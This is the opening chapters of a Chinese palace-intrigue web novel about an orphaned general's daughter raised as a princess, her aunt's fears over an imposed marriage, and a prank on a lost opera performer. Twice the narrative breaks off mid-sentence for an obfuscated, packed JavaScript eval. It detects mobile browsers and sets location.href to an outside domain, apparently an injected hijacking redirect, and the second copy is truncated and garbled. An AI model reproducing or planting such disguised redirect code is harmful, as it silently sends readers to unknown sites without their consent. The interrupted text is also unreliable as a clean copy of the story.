《公主绝非善类》 1. 上香 苻庆又在永福殿上香的时候睡着了。 她觉得这不能怪她。每日五更天便要起床,陪姨母薛贵妃用过早膳后便立刻要到永福殿上香。本就不清醒的头脑和一肚子来不及消化的早饭,再搭配上永福殿高僧的诵经声与让人闻了就会昏昏欲睡的檀香,苻庆实在想不到还能让自己保持清醒的理由。 哪怕她现在是在给自己的父母上香。 原先在锦西城的时候苻庆就爱睡懒觉。边关天亮得早,苻坚将军怕光线影响女儿休息,特意给苻庆卧房的窗户上加了一层帷幔。帷幔透光性差,即便外头已经天光大亮,但是苻庆的屋子里还是恍如黄昏。 苻庆还记得当时自己坐在屋子里,看着爹爹忙前忙后为自己安装帷幔,娘亲走进来递给自己一颗冻柿子,同时笑着嗔怪爹爹过于溺爱自己。 苻庆还记得,爹爹转过身看着苻庆,笑着说道:“我只庆儿这一个宝贝,难道还不许我这个当爹的惯着点?” 反正爹爹是最疼爱自己的,如今看女儿日日睡不够觉,一定不会怪罪自己在这种时候睡着。 这样想着,苻庆垂下头,安然进入了梦乡。 松醪发誓她就走神了一小会。她是薛贵妃拨给苻庆的贴身婢女,自从苻庆六年前入宫起便侍奉在其身边。今日是苻庆十六岁生辰,中午陛下会在柏梁台设宫宴为苻庆庆祝生辰。虽说规模不大,只邀请了几位陛下的心腹,但到底要见外人。苻庆的穿着打扮必得符合公主的规制,彰显公主的风范。 松醪只不过是在玛瑙顶簪和点翠顶簪之间纠结了一下,再抬头的时候,苻庆就已经睡着了。 天塌了。 宫中嫔妃本就对晏呢殿虎视眈眈,在她们眼中,晏呢殿这两人都很是邪门。薛贵妃并非出身名门望族,却能够凭借美貌得到陛下宠爱生下皇子。先皇后薨逝后,薛贵妃暂行皇后之职协理六宫。唯一的儿子七皇子更是在两年前被立为太子,进入东宫。 而苻庆,只不过是一个驻守边疆的将军遗孤,能够被皇帝封为公主已经是不合礼制,偏偏皇帝还对其极为宠爱,甚至恩准苻庆能够在十六岁生辰后出宫开牙建府。 晏呢殿本就常年处于后宫争斗的风口浪尖上,若在此时教她们知道苻庆居然能在给亡父亡母上香时睡着,不敬神佛和不孝父母两条重罪拿捏在手里,她们还不得立刻到皇帝面前告个天翻地覆?更有甚者,还会以此追究薛贵妃一个教导不严的罪过。 松醪只感觉脑袋中的绳一下子就绷了起来。 奈何自己不能起身也不能发出很大的声音,松醪只能尽量往前倾斜身体,轻声唤着:“公主,公主。” 苻庆正在梦里啃冻柿子。京城富庶,食物以小巧精致为美,像冻柿子这类质朴的食物苻庆是再也没有机会吃到过,因此正在梦中大快朵颐。谁知这柿子吃着感觉越来越怪,按道理来说柿子吃进嘴里应当是感觉嘴巴里凉凉的才对,但苻庆越吃却越觉得是自己后背在逐渐变凉。 一个寒颤,苻庆醒了过来。 “公主,公主。” 苻庆正好听到松醪的一声呼唤,习惯性的循着声音方向看去。 松醪见苻庆终于被自己唤醒,只觉得好歹躲过一劫,赶紧以眼神示意让苻庆赶紧重新跪好。苻庆此时尚不清醒,迷迷糊糊转过头便见一个香炉摆在眼前,后知后觉发现自己还在永福殿中,立刻惊出一声冷汗。 晏呢殿内,薛贵妃准备抄写经书。 虽说后宫中人人都道薛贵妃是运气好,大选那年明明已经过了年纪,却还是被宫里恩准破例参加。但只要见过薛贵妃本人的都会明白,这运气并非是偶然的。原因无他,薛贵妃实在生了一张格外好看的脸。 薛贵妃如今已年过三十,但一张瓜子脸完全瞧不出岁月的痕迹。一双桃花眼顾盼生辉,看向他人时含情脉脉,即便只是对视都仿佛能在这双眼睛中读出千言万语。鼻梁挺拔,笑的时候嘴角两颗小小梨涡若隐若现。 苻庆第一次见到薛贵妃时,对方由于刚刚小产仍在静养。即便那时候苻庆都曾暗自感慨,薛贵妃实在是长了一张太过于惊心动魄的脸。 薛贵妃净过手坐在桌前,婢女花露提前拿了一条手帕等在旁边。薛贵妃拿起银针,对准左手食指指尖重重一刺,银针穿透皮肉,很快鲜红的血液便流淌了出来。 花露在旁边全程看着,即便她已经看过千百次,却依旧会在薛贵妃刺向自己时感到手指跟着疼痛。 确保墨汁中已经滴入足够的鲜血,薛贵妃收回手。花露立刻上前将薛贵妃的手指用手帕包好,伤口并不会立刻止血,手帕的一隅很快被鲜血浸透。 花露走上前为薛贵妃研墨,看着血液逐渐融入墨汁之中消失,颇为薛贵妃的行为感到不值。 “娘娘,血液融入墨汁后就瞧不出来了。要奴婢说,您实在没必要每次滴这么多滴血进去。” 薛贵妃握着手帕莞尔一笑,脸上的两颗梨涡犹如盛着蜂蜜的琉璃盏。 “胡说,抄写血经最重要的是心诚。若咱们在这种地方还要欺瞒菩萨,菩萨怎可能还愿意听取我的祈祷,保佑后宫子嗣健康成长?” 花露低下头,“可是娘娘身子本就不好,如今还为了抄写血经只能茹素不进荤腥,长此以往奴婢实在是担心娘娘。” “无妨。”薛贵妃选了一支狼毫的毛笔,在清水中开笔后,轻轻蘸取加入血液的墨汁,“只要陛下的子嗣茁壮成长,我就是流再多的血也是值得的。” 见薛贵妃开始抄写经书,花露不再说话,默默退到一旁。 刚写两行字,薛贵妃忽然想起苻庆现在还在永福殿上香,停笔问道:“庆儿什么时候回来?” 花露看向外边的日头,浅浅估算:“回娘娘的话,少说也还有半个时辰。” 薛贵妃陷入沉思。今日是苻庆生辰,按常理来说是个高兴的日子才对。可是偏偏她心中藏着一桩事,还没有想好要不要提前告诉苻庆。 墨汁因为薛贵妃长时间的停顿沉淀在了笔尖,接着“啪嗒”一声滴落到了纸上。 薛贵妃低头,墨点已经晕染开无法弥补,这张算是废了。 花露也发现此事,有些惋惜地看着这张纸。 “怪我,是我心不静,所以抄写不下去。”薛贵妃叹口气,放下了笔。 花露知道薛贵妃是在担忧什么却不敢直接说出,只是站在原地静默着。 薛贵妃摆手示意花露收了笔墨,自己起身站到了窗边。此时阳光透过窗户照射进屋内,虽说只能照亮薛贵妃脚下这一方,倒也算是接触到了外界的明亮。 “庆儿刚刚年满十六,眼见着终于能够出宫过两日舒服日子,怎么陛下就一定要赐婚呢?” 花露惦记着薛贵妃刚滴了血进去的墨汁,将砚台严丝合缝盖好。“娘娘入宫的时候不也是十六岁,在寻常人家公主这个岁数成亲也是常理,也许陛下只是觉得公主到了年岁呢?” 薛贵妃缓缓吐出一口气,“可是庆儿命苦,十岁便没了父母。明明是个活泼开朗的性子,这些年却跟着我在宫中处处受制。我原本想着借庆儿生辰将她送出宫,是为了她日后能够过几日潇洒自由的生活,谁知陛下竟然连这点恩典都不愿意给。” 表面答应送苻庆出宫是一份殊荣,惹得后宫众人眼红;实则早已计划好在生辰宴前为其赐婚,保证即便苻庆出宫也能够对其有所拘束,陛下这步棋下得实在漂亮。 “只是如今我还不知道陛下究竟想为庆儿赐一门什么样的亲事。” 花露想了想,“娘娘,奴婢觉得陛下即便看在苻坚将军的面上也一定会为公主找到一门门当户对的好人家。毕竟苻坚将军虽然牺牲,但他的诸多战友还在朝中为官,大家都时刻盯着陛下对公主的态度呢。” 薛贵妃轻轻摇头,花露虽说跟自己许久,但到底还是年轻,不明白做母亲的心理。 “我从来不求庆儿嫁到什么高门显贵之家去,她亲情缘薄,如今身边只剩我一个。我只求着庆儿以后能找到一个真正对她好的夫君,哪怕对方无权无势我也认了。只是若陛下赐婚,庆儿连对方的面都未曾见过,感情又从何谈起呢?” 花露知道苻庆在薛贵妃心中的分量,毕竟婚姻自由这种事,即便薛贵妃本人此生都未得到过,却还是奢望苻庆能够有所不同。 “娘娘别忘了,天子赐婚乃是无上荣宠啊。” 薛贵妃一愣,紧接着一颗泪珠从眼眶中滴落。 “可是,若庆儿过得不好,我还有什么脸面到九泉之下去见我那苦命的姐姐呢。” 花露默然。 薛贵妃口中的姐姐便是苻庆的母亲,也就是驻扎在锦西城多年的苻坚将军的妻子。十八年前苻坚将军新婚不久,为了表达其与辽国开战的决心,带领新婚妻子一同回到了边关驻扎,自那以后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446091|185107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 薛贵妃再也没有见过自己的姐姐。 自大夏国建国以来,辽国把持燕云十六州对大夏国的边境屡屡进行骚扰和劫掠,百姓苦不堪言。苻坚将军带领的苻家军是整个大夏唯一敢与辽军骑兵抗衡的军队,特别是苻坚将军独创的砍马刀,令辽国人闻风丧胆。 这些年,苻庆将军一直等待朝廷下令发起对辽国的进攻,只要能够一鼓作气夺回燕云十六州,辽国未来百年都不可能再对大夏形成威胁。但是朝廷上以杜参政为首的文官集团坚决不肯支持皇帝出兵,两派从是否北伐一事逐渐扩展为对敌方阵营的人身攻击,最终演变为主战派和主和派的势不两立。 整整十二年,朝廷迟迟不肯下旨筹备大军,苻坚将军也就一直驻守在锦西城。他明白这样的党争持续下去只会贻误战机,但另一方面他又无比信任自己的君主。当今陛下一手将苻坚将军提拔出来,他一定是支持自己打仗的。 然而那时所有人都不知道,一场打破僵局的战争即将打响。 六年前辽国大举进攻锦西城,在援军未至的情况下只用四天便攻破了城门,驻守在边关的苻坚将军战死,其夫人薛氏随即殉城。苻家满门只有一个女儿因为在京城探亲幸免于难,而这个女儿便是苻庆。 后来朝廷派赵王和辽国议和,最终以大夏每年给予辽国十万两岁币的代价换回了和平。如今夏辽边境开通互市,各种商品络绎不绝,兵戈铁马的战场已经成为历史,人们现在向往的是赚钱过好日子。 只有苻庆,她不仅失去了父母,也失去了自己的故乡——如今的锦西城已经沦陷敌手,成为了辽国的土地。 苻庆失去父母后身体情况很差,夜间常常梦魇,严重时会惊呼不已。薛贵妃坚决将苻庆留在身边亲自照顾,就连自己的亲生儿子都可以冷落。而皇帝念在苻坚将军与夫人护国有功的份上,将苻庆封为公主,正式留在宫中照顾。 这些年苻庆一直跟着薛贵妃生活在晏呢殿,薛贵妃也确实对苻庆照顾得无微不至。不仅如此,皇帝对二人也很是照顾,赏赐与补品如流水般送入了晏呢殿。 但薛贵妃心里明白,皇帝之所以不愿意将苻庆送出宫并非是念在苻坚将军牺牲的份上,而是不愿意将苻庆放在一个自己看不见的地方。皇帝不是不明白是他的优柔寡断害死了苻家,同时还丢失了锦西城。若苻庆在外,很难不保证会被有心之人利用,借此煽动起对朝廷不满的浪潮。 万幸苻庆是个女孩,并且还是个一点武功都不会的女孩,这样的苻坚将军后人是不可能挑起风浪的。 虽说世人皆惋惜苻家的砍马刀就此失传,但对于薛贵妃来说,她可以不在乎苻家的家传武艺,却必须要在意自己亲姐姐留下的唯一骨血的性命。 也因此,在得知陛下有意在苻庆十六岁生辰宴上为苻庆赐婚时,薛贵妃的心中顿时警觉起来。她并不是不愿意苻庆嫁人,而是不愿意苻庆最终还是成为了皇帝手中的一颗棋子。 “如今夏辽已然议和,庆儿便成为了扎在陛下心头的一根刺。只要庆儿在,便会永远提醒陛下他曾经做过的错事。虽说这些年陛下表面对庆儿极好,但我怕……”薛贵妃说不出来。 若是陛下真的打算用赐婚的方法让苻庆从眼前消失,也就意味着薛贵妃此生也难以再见到苻庆了。 “母亲生我时难产丢了性命,父亲恨我害死了他的妻子,我是由姐姐带大的。若没有姐姐,便没有我今日。” 薛贵妃看向窗外,院子中的流苏树将要盛开。流苏花一簇簇垂着脑袋,掩映在绿叶之中。 花露看着薛贵妃的背影,只觉得一阵唏嘘。 “娘娘,如今公主还不知道陛下要赐婚的事情,您看我们要提前透露……” “不必。”薛贵妃不等花露说完,斩钉截铁地说道:“庆儿如今只知道自己满了岁数能够出宫,心里正高兴着呢,咱们决不能在此时破坏庆儿的心情。再者说,毕竟陛下到此时还未下旨,或许事情还会有转圜的余地。” 花露一愣,“娘娘是说,您要去求陛下开恩?万万不可啊娘娘,后宫不得干政,您明知道陛下最恨咱们议论前朝的事情。” 薛贵妃不说话,只是目光灼灼看向院中的空地。苻庆平日里最喜欢陪着她在此处遛弯晒太阳,薛贵妃走路速度很慢,但苻庆从来没有放开过她的手。 “只要是为了庆儿好,万事我都愿意试一试。” 2. 初见 永福殿中,今日的诵经终于结束。 苻庆两腿酸麻,被松醪搀扶着勉强站起,苻庆只觉得两条腿都如同灌了铅进去,只能靠在地上滑着才能勉强前进。 虽说每日都会感慨,但苻庆今日还是又忍不住对松醪说:“你是怎么做到跪了这么久腿都不麻的?难道你的腿是假的?” 松醪听了苻庆的话轻轻一笑,“公主,奴婢的腿也麻,只是跪久了早已习惯,即便麻着也能够正常走路。” 苻庆撇嘴,在心中再次由衷感慨这世界上怎么会还有这么一个非人的地方存在。 从前在锦西城,由于地理环境恶劣,大家无一例外都是为了生计发愁,苻庆一直以为这世上存在的所有难题都是老天给的。直到来京城才知道,原来这世上更多难题并非天定,而是人为。这座深宫明明扭曲而又诡异,许多条例桩桩件件都不像是为活人设计,偏偏这里的人还最爱强调守规矩三个字,借此打压活人心中残存的正常情绪。 苻庆尽力把腿往前挪着,一步步挨回了晏呢殿。 回到晏呢殿偏殿,松醪端了水盆为苻庆洗手,一进门就看见苻庆正把两条腿搭在桌子上放松,只能低头当做没看见。 还好苻庆没有让松醪难做,很快便将腿收了回来,规规矩矩在圈椅中坐好。 腿还是有些酸胀,一会还要重新梳妆打扮后前往柏梁台参加宴席,桩桩件件让苻庆只是想一想便觉得头疼。 “松醪,今日中午的宴席要举行多久啊?” 松醪微笑,“公主可是想到宴席结束后便可出宫,有些等不及了?” 能够出宫固然让人高兴,但苻庆更担心的是这场漫长的宫宴。每次参加宫宴流程都极其复杂,菜吃不到几口不说,动辄便要跪来跪去,不管是谁说话最后都会变成大家一起跪在地上向陛下高呼“万岁”,苻庆实在觉得无聊。 “说来真是奇怪,我又不是第一次在宫中过生辰,陛下何至于一定要举办宫宴呢?偏偏还不只宴请后妃,一定要带上前朝的官员……”苻庆在父母棺椁运抵京城的时候见过那些官员一面,在苻庆眼中只觉得他们虚假得要死。 就说那个杜参政,明明和父亲势不两立,就连苻庆都知道他曾多次上书陛下指责父亲拥兵自重,应当早日下狱查办。谁知那天爹娘棺椁下葬时,他还站在第一排放声大哭,做出一副无比伤心的模样。 看着他泣不成声的样子,苻庆只感觉到这世界实在是荒唐。 “我实在不想见到他们这群假惺惺的人。” 松醪知道苻庆看不惯朝中官员阿谀奉承的样子,但京城就是如此。这里是大夏国的权力中心,连三品都算不得大官。在这种地方若是不会见风使舵,别说往上爬了,说不定连死都不知道是怎么死的,因此也怨不得那些人。 “公主别想他们了,左右过了今日咱们就出宫了。到时候奴婢也能沾沾公主的光,看看皇宫外面现在变成什么样子了。” 松醪五岁入宫,此后再也没有离开过宫门一步,因此早就快忘记外头的世界是什么样子了。此次要跟着苻庆出宫居住,心中既期待又紧张。 苻庆点头,“是啊,我也许久没有出宫了。” 苻庆上次离开这座深宫还是父母棺椁运入京城安葬那日,自那之后再也没机会离开。民间变化快,宫外这六年一定是大变样了。一想到终于能够离开这座宫殿,去到一个起码能够自由呼吸的地方,苻庆便觉得心跳在逐渐加快。 更重要的是,她终于可以暂时摆脱这四面围墙的束缚,开始做一点她应当做的事情了。 “公主,时辰不早了,咱们准备上妆吧。” 苻庆点头,乖乖坐在梳妆台前,等待松醪为自己上妆。 铜镜中少女的脸庞还有些稚嫩,但一双杏眼却如同两颗夜明珠般正紧紧盯着镜中的自己。苻庆从小便知道自己这双眼睛长得随自己父亲,但是这双眼睛长在父亲脸上大家便说长得好,一看便是上阵杀敌的眼睛。可当这双眼睛长在苻庆脸上的时候,大家的态度便开始变得惋惜起来,大家开始说这女孩子真是可惜了,有这么一双杀气太重的眼睛,恐怕未来不好找婆家。 但苻坚将军很喜欢苻庆的这双眼睛,他曾经无数次告诉苻庆,不论是男孩还是女孩都应当拥有一双慧眼,看向前路时目光如炬,在人生道路上才能够杀伐果断。 如此,才能做成大事业。 苻庆还记得她曾经问过父亲,自己是个女孩,能做什么大事业呢? “是女孩又怎样?庆儿你要记得,只要你想做成一件事,便要无惧前路艰险。因为只有你开始做,这件事才有可能成。” 彼时的苻坚将军正站在锦西城的城墙上带领苻庆观赏城外的壮丽河山,在那座瞭望台上,苻庆第一次看到传说中的辽国在何方。两国之间只隔着一座小山丘,天气好时苻庆甚至能够透过云雾看对方的炊烟袅袅升起。 直到后来苻庆才明白,那句话并非只是父亲对自己的回答,同时也是父亲此生的座右铭。父亲此生很是短暂,大半时间都驻扎在边疆。他明知道朝堂争斗不断,大夏国正在一点点蚕食掉自己胜利的可能,但他还是坚定地驻守在那里,用自己的实际行动向朝堂做出无声的宣誓。 只可惜那些当权者从未在意过。 当苻庆知道夏辽之间已经议和后便意识到,那群贪生怕死的官员已经将父亲的志向彻底阉割,大夏再无与辽国对抗的可能。也正是从那时起,苻庆在心中埋下了一颗种子。 这是一颗复仇的种子。 苻庆知道主和派为首的便是杜参政,此人常在皇帝面前诋毁父亲,欺负锦西城到京城山高路远便肆意在皇帝面前抹黑父亲,一而再再而三强调父亲手握重兵有造反的可能,应当早日押解回京再做定夺。好在陛下并未相信此等传言,但这个人却被苻庆狠狠记在了心里。 如今杜参政已经升为太子太傅,负责在东宫教导太子读书。苻庆曾经想过借探望表弟的名义去东宫见一见这个杜太傅,但陛下对东宫管理得紧,连薛贵妃都不能去探望儿子,苻庆担心自己的所作所为会给姨母招来麻烦,因此一再隐忍。 如今终于要出宫了,外界天高地阔,正是苻庆可以一试身手的好机会。 “公主,起身穿衣服吧。” 苻庆这才意识到自己想得太入神,松醪不知何时已经为自己装扮好了。松醪的手很巧,每次都能够把苻庆打扮得恰到好处。苻庆笑着点头表示满意,扶着松醪的胳膊站起身。 今日参加宫宴所要穿的衣服早已准备好,是薛贵妃为苻庆精心准备的生辰礼物——一件绣有桃花暗纹的褙子,仔细看去会发现其中还镶嵌着金丝,因此在远处看去是波光粼粼。苻庆很喜欢这件衣服,并且不知为何会在第一次见到这件衣服时便产生熟悉感,好像这件衣服生来便是自己的衣服。 穿戴整齐后,松醪派人去往晏呢殿正殿询问薛贵妃何时前往柏梁台,却意外发现薛贵妃此时已经不在晏呢殿内。 前去询问的婢女也是一头雾水,只说薛贵妃留下话要苻庆千万不能迟到。 既然薛贵妃已经离开松醪也就不再等待,与苻庆二人立刻出发往柏梁台走去。 内廷的面积实则不大,但宫中贵人们大多不喜欢走路,因此都是选择轿子代步。而苻庆恰恰相反,她最是讨厌坐轿子,因此在宫中常常选择自己走着去各处,而这样的后果便是苻庆常常迟到,这也是薛贵妃特意着人叮嘱苻庆的原因。 其实这样走着也有好处,那便是一路上苻庆有充足的时间天马行空地想事情,每走过一处苻庆都会想一想此处到底有什么好玩的,过几日自己能不能到此处打发打发时间。 而就在今日走过御花园的时候,苻庆忽然想起一件陈年旧事。 那是三年前盛夏的一个夜晚,苻庆由于怕热睡不着觉,只能百无聊赖地看书打发时间。就在这时候 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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若不是头上复杂的头饰苻庆真的能一蹦三尺高。松醪也发现了这一点,赶紧嘱咐苻庆绝不能因此弄脏了衣服。苻庆虽然觉得松醪的担心实则是外行,既然是挖土怎可能不弄脏衣服,但为了能够让松醪同意,苻庆还是昧着良心点了点头。 随即二人兵分两路,苻庆一个人往御花园走去。 今日陛下要在柏梁台设宴,那边也就成为了侍卫巡查的重点。苻庆到达御花园一看确实与她估计得不差,此处的侍卫尽数都已经调到柏梁台去了。苻庆嘿嘿一笑,赶紧找到她做标记的位置,开始用树枝挖掘起来。 此处泥土松软,挖掘起来并不太麻烦,这也是一开始苻庆选择此处的原因之一。眼见着挖开的洞口越来越大。苻庆只觉得自己仿佛都已经能够闻到浸润了桃花香气的酒香,那股香味越来越浓郁,直到好像完全包围了苻庆。 正美滋滋地想着,苻庆忽然手下一顿。不对,那股桃花香味并非是她臆想出来的,而是真的存在。可是如今不过二月底,尚不到桃花盛开的时节。更何况她刚才蹲下前明明刚看过,那棵大桃树还是如同枯枝一般,半点没有要开花的痕迹。 “请问你是在偷东西吗?” 苻庆一愣,随后立刻抬起头。那人像是没想到苻庆反应会如此大,也跟着往后退了一步。 眼前人身形纤细,着一袭天青色直缀,头发用网巾简单束紧,额头上缠一圈与衣服同色的抹额。令苻庆感到奇怪的是,对方不知为何在脸上遮了一层白纱,因此只能看到一双瑞凤眼微微上挑,正狐疑地看着自己。 此时苻庆才发现那浓郁的桃花香味并不是从头顶桃树散发出来的,而是因为眼前人身上熏的香料。即便苻庆不懂香,却也知道寻常男子并不会用到桃花熏香。更何况仅仅通过刚才那一句话她便已经能确定,对方虽然声线有些细却并非内监。那侍卫就更不可能了,宫中哪有这么苗条的侍卫? 确认对方应当也不是此时应当出现在此处的人后,苻庆放下心来,站起身上上下下将此人仔细打量一遍,开口问道:“你怎么知道我是在偷东西?” 3. 行善 程怜香此时也在认真打量眼前人的衣着。 按道理来讲,眼前人穿着打扮华冠丽服、珠围翠绕,身份应当是非富即贵才是。但现在她挽着袖子蹲在地上挖土,裙子甚至卷到了膝盖上,露出了里面浅粉色的膝裤。 又怎么看都不像是个所谓的贵人。 程怜香暗暗思忖,如今士农工商的阶级屏障相对宽松,许多官宦人家的小姐也能够打扮得十分讲究。今日是宫宴,宫里既然能请他们和春班的伶人入宫唱戏,应该也能够请其他平民进宫。 盘算一阵,程怜香才大着胆子开口:“你鬼鬼祟祟地在这挖土,还说不是在掩埋赃物?” 苻庆一愣,随即被程怜香的质问气笑。 “谁规定挖土就必须是掩埋赃物,你怎么知道我不是在找我丢失的东西呢?” 程怜香只觉得这贼实在是疯狂,自己好心好意提醒她不能在宫中惹事,她却反过来质问自己。 “若东西真是你丢的,你怎么知道就埋在这里?可见你分明是有鬼。” 苻庆没想到对方居然如此有兴致竟然有工夫和自己在这里耍嘴皮子,一时竟有些分不清对方的真实身份,因此主动出言询问道: “我听阁下的意思看来对于皇宫内院很是熟悉了?那你倒是说说你是谁宫里的人?可认得我吗?” 程怜香以为自己的劝说起了作用,拢了拢衣襟回答:“我不是宫里的人也不认识你,今天是随师父入宫献唱的。一时走迷了路,见你在此处做坏事,怕你被侍卫抓住,这才来提醒你。” “我被侍卫抓住?”苻庆笑着连说了四个“好”字,“既然这么说,我还得多谢你了。” 程怜香连忙摆手,“不必,不必,这都是举手之劳。师父常说我们应当多做好事,行善积德,未来才能够有福报。” “你说的真是一点错的没有,”苻庆点头,“对了,你刚才是不是说你走迷了路,怎么?找不到去柏梁台的方向了?” 程怜香发现对方也知道宫宴设置在柏梁台,更加确信对方就是和自己一样被请进宫来的平民,赶紧问道:“难道你知道方向?” “我自然知道,”苻庆慢条斯理地回答,此时她心中已经想好了一个计策。“同时为了感谢你教我回头是岸,我还愿意给你指一条最方便的路,让你不会遇到侍卫。” 程怜香心中大喜。 虽说他确实是被请入宫的,但到底没有随身带着身份凭证。之所以不敢找人问路便是害怕遇到不讲理的侍卫,会不问青红皂白便将他抓走下狱。所以他才会一直在御花园游荡,想要自己找到回去柏梁台的道路。 “那你快说。” 苻庆伸手一指,“你顺着这条小路往前走会有一个岔路口,左边那条路便是通往柏梁台的。这条路会经过永巷,那边都是些下等宫女和太监住的地方,侍卫从不会过去。” 程怜香连忙点头,“多谢你了。既然如此我得赶紧走了,免得耽误了演出。” 苻庆面上露出一个人畜无害的笑容,“你放心,等你走后我就把这赃物挖出来物归原主。我惜命得很,绝对不会再做这等蠢事了。” 程怜香只觉得自己果然是做好事后得了福报,向苻庆福身行礼道谢后,赶紧往苻庆指的方向走去。 苻庆看着那人离开的背影,半晌才笑着哼出一声:“有病。” 苻庆自然不可能给这个不速之客指一条正确的道路,她连对方的脸都没见到,谁知道对方究竟是不是个坏人?再说,即便他真是入宫献唱的伶人那也忒不懂事了些。若连入宫献唱的戏班子都敢在宫中乱闯,那这皇宫大内还有一点规矩可言吗? 因此苻庆给他指的那条路并非通往柏梁台而是通往永福殿的,而永福殿紧邻着太庙。 太庙是宫中走水风险最高的建筑,自然防备森严,即便是今日这种大场合也绝不可能动用太庙侍卫的人手。因此那条路并非是一定碰不到侍卫的道路,而是一定会碰到侍卫的道路。 一想到那人很快便会为自己的莽撞付出代价,苻庆嘿嘿一笑,手上挖土的动作又加快了几分。 很快,一个坛子便映入苻庆眼帘。苻庆赶紧将酒坛取出,见酒坛的密封处仍然完好无损,心里十分高兴。虽然还不能将酒坛直接打开,但是苻庆仿佛已经能隐约闻到一丝酒香。 苻庆高兴地将这坛酒从左手换到右手,又从右手换回左手。一想到今晚自己就能在公主府的院子中月下独酌,苻庆只恨不得能在原地跳着转两圈。 接下来的任务便是抱着酒坛子去小路上找松醪会合了。苻庆把裙摆和袖子重新整理好,心情颇好地向外走去。 谁知刚拐过假山便撞见一队侍卫向这边走来,苻庆暗道不好。若是想不被他们发现这坛酒是苻庆私藏的,最后必须把这坛酒交出去。那样的话苻庆想今晚月下独酌的计划岂不是泡汤了? 苻庆本想找个地方躲起来,奈何这身衣服既爬不得树也翻不了墙。眼看着自己实在想不到什么办法,苻庆忽然瞧见对方手里好像正押着一个人。 苻庆定睛一看,直接笑出了声。 这不是刚才那个一心要积德行善的倒霉蛋吗? 有他在,那自己就好办多了。苻庆勾起嘴角一笑,将酒坛在怀里抱好,小跑着迎了上去。 “既然你们抓住他了,那就太好了!”苻庆停在那队侍卫跟前,气喘吁吁地说道。 “公主?”侍卫们这才看清这个小跑过来的人竟然是苻庆,连忙拱手行礼道:“见过公主!” 苻庆摆手示意他们起身,“还好有你们在,否则这个偷酒的贼便要跑了。” 侍卫们有些迷惑,虽说他们确实抓了一个人,但这个人乃是他们在太庙巡逻时抓住的,并没有从他身上搜出什么酒。 此时,程怜香也已经听到对方好像在说自己,刚准备抬起头分辩,却忽然发现对面站着的俨然是自己刚才在御花园碰见的贼。 “你……” 苻庆不给程怜香说话的机会,“这个人是刚才我在御花园碰见的,他看见我走过来便向反方向跑走了,我是在他逃跑的路上捡到这坛酒的。” 侍卫们恍然大悟,“怪不得他刚才说自己是从柏梁台走出来的,原来竟是个在柏梁台偷了酒的贼。” 苻庆装出一副才反应过来的样子,轻轻拍了一下自己的脑袋,“原来如此!我就说这贼怎么身手如此矫健,竟然能在皇宫中偷走美酒?这么看也不过如此吗?只是个顺手牵羊的小贼。” 程怜香此时还没有搞清楚状况,只是知道他们似乎认为偷酒的是自己,赶紧喊道:“我没有偷酒!她是胡说的!偷酒的明明是她自己!” “闭嘴!竟敢如此污蔑公主,我看你的舌头是不想要了!”侍卫们厉声呵斥住对方的辩解,接着对公主一拱手,“既然如此,劳烦公主将酒坛一路抱过来。属下就将酒坛一并抱走了,也算是一件物证。” “不必了,我正要去柏梁台参加宫宴,这坛酒既然是从柏梁台顺走的,我便一同拿回去了。”苻庆将酒坛抱到身子一侧,“今日来参加宫宴的人鱼龙混杂,你们本就辛苦,这点小事还是由我自己来做吧。” 侍卫们一愣,但公主既然都已经发话了,他们也没有什么反驳的理由,因此拱手称是。 程怜香此时终于反应过来,原来这个偷酒的人并不是贼,而是货真价实的公主。但不知为何,却是位敢做不敢当的公主,竟打算将偷盗的罪名安置在自己身上。 眼见着侍卫们就要带走自己,程怜香有些慌了神。 “不对,不对!偷酒的是她!刚才我明明看见她蹲在御花园挖土!那酒就是她偷出来的赃物啊!” “住嘴!”侍卫们心虚地瞥了一眼苻庆的脸色,生怕对方会因为生气而迁怒到自己身上。 程怜香此时心中却只有被眼前人欺骗了的愤怒,竟根本不顾侍卫的警告继续说道:“你这个监守自盗、贼喊捉贼的小人!亏我刚才被抓住后还担心你会不会也被抓走!没想到,你竟然从一开始就是骗我的!” 见这人的话越说越离谱,竟开始指责起公主了,为首的侍卫不再犹豫,怒喝一声:“还不闭嘴!”说着便拔出腰间佩刀,只见寒光一闪便要用刀背击向程怜香的下巴。这是皇城司对于说胡话的罪犯常用的招数,只一下便可以击碎人的下颚骨。 程怜香此时已经能感受到有风袭来,奈何两只胳膊被人扭着牢牢固定住躲都没法躲,只能徒劳地闭上眼睛,等待着疼痛传来。 “住手!” 刀凌空停住。侍 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苻庆看着对方闭着眼不敢动弹的样子,只觉得他真是能屈能伸,能够在咒骂自己和闭眼等死之间无缝切换,莫名觉得很是想笑。 扶起那个侍卫,苻庆继续说道:“再者说,咱们到底也没有亲眼所见这坛酒就是他偷的。与其在此处胡乱猜测,还不如劳烦你们押着他去一趟柏梁台,到时候真相自会大白。” 侍卫们互相对视,如果真的要把人押到柏梁台着实会增加他们的工作量,因此他们都有些不情愿。 为首的向前迈了一步说道:“公主,即便此人没有偷酒,他在宫中行迹诡异也已经犯了大错,还是直接由我们带走,直接投他下狱吧。” 苻庆听过这话笑了笑,甚至还点了点头。侍卫们本以为这表示苻庆已经同意,正要拱手告辞。 “大胆!” 侍卫们发现苻庆脸上已经没了笑意,后知后觉对方已经生气,赶紧齐刷刷跪在了地上。程怜香也被押着跪倒在地。 “抓到人既不调查也不询问,只想着敷衍了事直接下狱。我竟不知道,皇城司教出来的人便是这样做事的?”苻庆眉毛一挑,说话的声音也变得狠厉,“难道你们也是用这种态度和方式去保护陛下的安全吗?” 